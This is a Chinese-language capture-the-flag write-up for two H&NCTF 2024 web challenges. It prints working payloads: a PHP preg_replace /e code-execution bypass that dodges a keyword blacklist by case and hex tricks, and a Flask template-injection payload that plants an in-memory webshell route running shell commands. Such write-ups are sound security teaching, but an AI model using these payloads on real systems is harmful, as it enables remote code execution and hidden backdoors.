H&NCTF 2024WP WEB
题名:Please_RCE_Me
<?php
if($_GET['moran'] === 'flag'){
highlight_file(__FILE__);
if(isset($_POST['task'])&&isset($_POST['flag'])){
$str1 = $_POST['task'];
$str2 = $_POST['flag'];
if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){
die('hacker!');
}else{
preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
}
}
}else{
echo "moran want a flag.</br>(?moran=flag)";
}
取源码发现主要命令执行是通过preg_replace /e的rce来执行的
想要执行preg_replace首先POST传入的task不能出现system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |.|include|require|flag这些内容
其次POST传入的flag的长度要等于19且flag要为please_give_me_flag
并且flag为please_give_me_flag才能触发rce
那么我们发现if里的对flag检测是没有规定大小写的,而preg_replace的里面是有“i”的,表明我们对于flag传入的please_give_me_flag不管大写还是小写都可以触发rce
并且还能绕过if判断里的preg_match,且please_give_me_flag本身的长度就是19所以可以通过大小写绕过
再看task,发现过滤了这么多,但是print_r没有过滤,且file_get_contents也没有过滤,我们可以通过file_get_contents包含/flag且通过print_r回显,但是过滤了flag,我们可以通过get传参dd=/flag然后再让file_get_contents包含dd就相当于file_get_contents(‘/flag’)了
那么接下来的就是payload:
GET: ?moran=flag&dd=/flag
POST: task=print_r(file_get_contents($_GET['dd']));&flag=please_give_me_flaG
得到flag
当然也有第二种方式,使用十六进制对/flag进行编码
Payload2:
POST: task=print_r(file_get_contents("\x2f\x66\x6c\x61\x67"));&flag=please_give_me_flaG
题名:ezFlask
打开发现字样:冒险即将开始!!! 请移步/Adventure路由进行命令执行,后端语句为: cmd = request.form['cmd'] eval(cmd) 注意,你仅有一次机会,在进行唯一一次成功的命令执行后生成flag并写入/flag 执行无回显,目录没权限部分命令ban,也不要想着写文件~
我们可知在/Adventure路由下面传参cmd后通过eval去掉左右两边的定界符,相当于执行我们传入的内容
那么我们可以使用render_template_string函数(render_template_string是Flask框架中的一个函数,用于将Jinja2模板字符串渲染为HTML。它接受一个模板字符串作为参数,并返回渲染后的HTML字符串)
payload:
cmd=render_template_string("{{7*7}}")
发现执行成功但是不给回显,我们再读题发现“唯一一次成功“可以想到内存码,我们试一下
Payload:
cmd=render_template_string("{{url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/get', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('shell')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}")
Payload的意思是我们通过flask模板注入的方式添加一个/get路由再路由下面get传入一个shell,并且执行shell里的语句
成功,访问一下/get并且尝试读取flag
Payload:
/get?shell=cat /flag



